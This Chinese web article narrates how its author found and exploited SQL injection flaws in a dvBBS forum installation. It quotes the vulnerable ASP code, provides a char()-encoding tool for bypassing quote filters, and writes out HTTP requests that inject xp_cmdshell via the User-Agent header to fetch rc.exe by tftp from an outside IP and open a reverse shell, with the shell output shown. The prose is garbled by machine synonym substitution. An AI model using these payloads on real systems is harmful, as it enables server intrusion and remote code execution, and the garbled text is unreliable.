当前位置：首页 -> 网络安全 -> 网络其他 -> 动网论坛dvBBS漏洞及入侵一则

动网论坛dvBBS漏洞及入侵一则

时间： 2021-07-31 作者：daque

实质: hacking/cracking的路途老是艰巨的…… 往往看到的作品是写或人如许牛逼，一齐视百般妨碍如草芥，百战百胜的攻破某台效劳器，我从来质疑这是演义的手法，由于我在做的功夫老是磕磕碰碰，大略题目城市弄很久，这不，比方对bbs.xxxxxxxx.com的报复即是。接到这个工作是什么功夫我都忘了，归正有一天南阳岩冰叫我看看他的乒坛，我稀里费解的就承诺下来，然而隔了许多天性想到要去看看。那天往日一看，嘿嘿，很眼熟的乒坛嘛，即是叫什么名字我忘了，厚着脸皮在qq上问了一下，才领会是赫赫有名的动网乒坛，呵呵，怪不得满地都是。而后我到网上去找动网乒坛的缺点作品，找到后我又遽然懒得去看了，就算有人家也补上了吧，看了也白费，不如省下点功夫作毕设。又过了几天，舆论简直是写不下来，所以去网左右了一个动网的最新版的乒坛来看代码，看啊看的就睡着了…… 醒过来的功夫，口水把键盘都弄湿掉了，处置员说校舍要杀菌，又叫咱们快走，急遽忙忙的只好拷到优盘带回书院伙伴的呆板上去看。在书院折腾了一个多钟点，毕竟眼睛一亮，bbseven.asp中有这么一段： if request("act")="简略" then if request.form("lid")="" then founderr=true errmsg=errmsg+" "+"<li>请指定关系事变。" else lid=replace(request.form("lid"),"‘","") end if end if if founderr then exit sub if request("act")="简略" then conn.execute("delete from log where l_id in ("&lid&")") 其时我的心率就到了120，我不领会lid是xxxx);drop table admin;--时是还好吗，上头谁人replace是否太草率？赶快我就想到不妨给本人的舆论内里加500字之上了（恰巧我的舆论也相关于sql injection的局部），所以我就在舆论内里添了一段sql injection without quotation mark，并在接下来的两天内好好的接洽了一下。嗯，截止做了一个小的.asp，贴出来看看啊，反正直概的道理即是比方‘ab‘实足不妨用char(65)+char(66)表白，大师有看法发到n.e.v.e.r@tom.com给我好了。 ======================= cut here ======================= <html> <body bgcolor=black> <font size=2 color=#ff7777>填上sql语句！</font> <form action="<%= request.servervariables("url") %>" method="post"> <input type=text name="in" size=45 value="" style="color:#0099ff;border-bottom: #0099ff 1px solid; border-left: #0099ff 1px solid; border-right: #0099ff 1px solid; border-top: #0099ff 1px solid; font-size: 9pt;background-color: #000000"> <input type=submit value="encode!" style="font-size: 9pt;border-right: 0px solid; border-top: 0px solid; border-left: 0px solid; border-bottom: 0px solid; background-color:#0099ff;color:#ff0000;"> </form> <font color=#0099ff> <% link_char = "+" ‘字符串贯穿标记是+吗？ strin=request("in") strin = strin & "--" strtemp = split(strin,"‘") i = 0 ‘on error resume next do while not isnull(strtemp(i)) if instr(strtemp(i),"--") then exit do end if i = i + 2 loop ‘response.write i for j = 0 to i - 1 step 2 strout = strout & strtemp(j) for k = 0 to len(strtemp(j+1))-1 strout = strout & "char(" & asc(left(right(strtemp(j+1),len(strtemp(j+1))-k),1))&")" & link_char next strout = left(strout, len(strout)-len(link_char)) next if instr(strtemp(i), "--")<>0 then strout = strout & left(strtemp(i), instr(strtemp(i), "--") - 1) end if response.write strout %> ======================= cut here ======================= 我不领会我找的这个场合是否真实是缺点，由于没有方法去尝试，我总不许去求南阳岩冰给我一个处置员权力来删日记吧，那还不如径直要计划机的账号好了。总之即是磨蹭了这么久，只给我的舆论加了633个字罢了。仍旧不甘愿，所以又连接作舆论，做到再一次做不下来时，又来看代码。呵呵，又给我找到有题目的场合了，char.asp中有这么一段话： sql="showhot_com_inst_online_char 2,"&statuserid&",‘"&membername&"‘,‘"&memberclass&"‘,‘"&request.servervariables("remote_host")&"‘,"&boardid&",‘"&request.servervariables("http_user_agent")&"‘,‘"&replace(stats,"‘","")&"‘,‘"&request.servervariables("http_x_forwarded_for")&"‘,"&usergroupid&",‘"&actcome&"‘,"&userhidden&","&userid&"" request.servervariables("http_user_agent")之类的是用户欣赏器提交的，不见得老淳厚实的即是ie啊什么。动网的那些人该不是把这个留作方便之门的吧？我用f3探求包括这段方便之门代码的因变量activeonline()，找到了很多，我选了一个boardhelp.asp来尝试。为了调节和测试简单，我改了一下char.asp，增添了少许输入，固然，是inc目次底下的char.asp，其余的char.asp都是哄人的。尝试胜利后我赶快拨号上钩（尝试胜利仍旧是好几个钟点后的工作了），报告南阳岩冰有题目而后建了一张表，留言后就下网了。等了两天都没有反馈，我想仍旧进去看看吧，我就再次拨号上钩，这次不是建表这么大略了，我要获得最高权力才截止。我安排好了一整套计划，先窜改处置员的暗号，再登岸上传文献，获得shell后提高权力，嘿嘿，是否很完备啊？我感触人要达观一点，所以我想先试试mssql保存进程能不许挪用，底下是大略的进程，几乎是与众不同的成功啊。嗯，十八岁以次的小伙伴就不要看了，以免不法。 nc到bbs.xxxxxxxx.com的80口，提交如次的乞求 get /boardhelp.asp http/1.1 accept: */* accept-language: zh-cn accept-encoding: gzip, deflate user-agent: 1‘,‘1‘,‘1‘,2,‘c‘,1);exec master.dbo.xp_cmdshell ‘tftp -i 61.155.251.70 get rc.exe‘;-- host: bbs.xxxxxxxx.com connection: keep-alive cookie: iscookies=0; aspsessionidggqgqtdq=iilfjndalpmlemdlckkffmjg 我开了tftp效劳的，我想胜利的话它会从我的呆板左右载一个rc.exe，这是我写的一个小货色，不会被查杀的。而后我断线再拨（由于即使bbs在online表中查到了你的ip的话，就不会实行到有题目的那一句了），在本机监听1102端口，再次贯穿到bbs.xxxxxxxx.com，提交 get /boardhelp.asp http/1.1 accept: */* accept-language: zh-cn accept-encoding: gzip, deflate user-agent: 1‘,‘1‘,‘1‘,2,‘c‘,1);exec master.dbo.xp_cmdshell ‘rc.exe 61.155.250.193 1102‘;-- host: bbs.xxxxxxxx.com connection: keep-alive cookie: iscookies=0; aspsessionidggqgqtdq=iilfjndalpmlemdlckkffmjg nc发端反馈了，呵呵 d:hack>nc -l -p 1102 the shell is now! microsoft windows 2000 [version 5.00.2195] (c) 版权一切 1985-2000 microsoft corp. c:winntsystem32>ipconfig /all ipconfig /all windows 2000 ip configuration host name . . . . . . . . . . . . : dns primary dns suffix . . . . . . . : node type . . . . . . . . . . . . : broadcast ip routing enabled. . . . . . . . : no wins proxy enabled. . . . . . . . : no ethernet adapter 当地贯穿: connection-specific dns suffix . : description . . . . . . . . . . . : hp 10/100tx pci ethernet driver physical address. . . . . . . . . : 00-30-6e-36-57-aa dhcp enabled. . . . . . . . . . . : no ip address. . . . . . . . . . . . : ★.★.★.★ subnet mask . . . . . . . . . . . : ★.★.★.★ default gateway . . . . . . . . . : ★.★.★.★ dns servers . . . . . . . . . . . : ★.★.★.★ ★.★.★.★ 哇嘿嘿哈……我刚要进一步举措，截止遽然上钩卡没钱断掉了，可见我天人命就不该做勾当，shit！嗯，到这边基础上是成功的攻破了吧。本来本质的情景是很惨绝人寰的，我前后拨号上钩十几次，中央断线，打错字符，再有之前的安置mssql波折，iis出题目，断电，看错代码空欣喜十几秒钟之类之类。然而写的功夫仍旧只把重要的进程写出来，假如要去写所有进程的话，估量一篇长篇叙事演义就会出生了。

动网论坛dvBBS漏洞及入侵一则

相关推荐

推荐下载

热门阅览

最新排行